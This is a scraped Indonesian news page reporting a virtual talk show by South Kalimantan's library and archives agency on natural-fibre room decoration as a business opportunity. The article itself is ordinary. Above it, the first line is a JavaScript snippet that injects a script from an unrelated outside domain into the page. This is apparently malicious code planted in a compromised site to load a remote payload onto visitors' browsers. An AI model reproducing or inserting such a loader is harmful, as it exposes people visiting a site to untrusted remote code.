(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Tren Dekorasi Ruangan, Dispersip Kalsel Ulas melalui Talkshow Virtual


KANALKALIMANTAN.COM, BANJARMASIN – Tren dekorasi ruangan semakin meningkat sejak masa pandemi Covid-19. Banyaknya waktu di rumah menyebabkan masyarakat antusias mengubah dan memberi sentuhan baru pada interior rumah.

Walhasil, produk perlengkapan dan dekorasi ruangan juga ramai diburu. Hal ini merupakan peluang bagi usaha kecil agar dapat menggunakan momentum meraih keuntungan dari pemanfaatan serat alami yang ada di sekitar sebagai bahan kerajinan.

Hal inilah yang menarik Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan untuk mengangkatnya menjadi sebuah tema diskusi virtual. Bersama Galleria Kriya yang merupakan UMKM pengrajin produk dekorasi ruangan berbahan serat alami seperti purun dan eceng gondok, pada Selasa (1/9/2020).

 

“Kami menghadirkan diskusi tentang tren dekorasi ruangan dari serat alami sebagai peluang usaha ditengah pandemi. Peserta berasal dari berbagai daerah seperti Hulu Sungai Utara, Malang, bahkan ada yang dari Riau,” kata Kepala Dispersip Kalsel Dra. Hj. Nurliani Dardie, Rabu (2/9/2020).

Ditambahkan Bunda Nunung, sapaan akrabnya, peserta pun banyak yang aktif bertanya sampai waktu diskusi berakhir tanpa terasa. Karena menurutnya, sebuah produk yang dikemas dengan literasi akan dapat menarik minat masyarakat serta menumbuhkan kepercayaan bagi pembelinya.

“Perpustakaan sudah selayaknya hadir bertransformasi agar memiliki nilai dan kemanfaatan yang tinggi bagi masyarakat melalui pendekatan inklusif. Dimana, perpustakaan harus mampu menjadi ruang terbuka bagi masyarakat, untuk memperoleh semangat baru dan solusi dalam upaya meningkatkan kualitas hidup dan kesejahteraan,” terang mantan Kepala Perpustakaan Kota Banjarbaru ini.

Dirinya menekankan, dengan adanya penguatan literasi individu maka akan terjadi perubahan pengetahuan dan perilaku individu yangg akan berdampak pada peningkatan produktivitas dan kesejahteraan. Karena, transformasi perpustakaan berbasis inklusi sosial ditandai dgn adanya ketersediaan dan kemudahan akses bahan pustaka dan sumber informasi bermutu bagi masyarakat. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.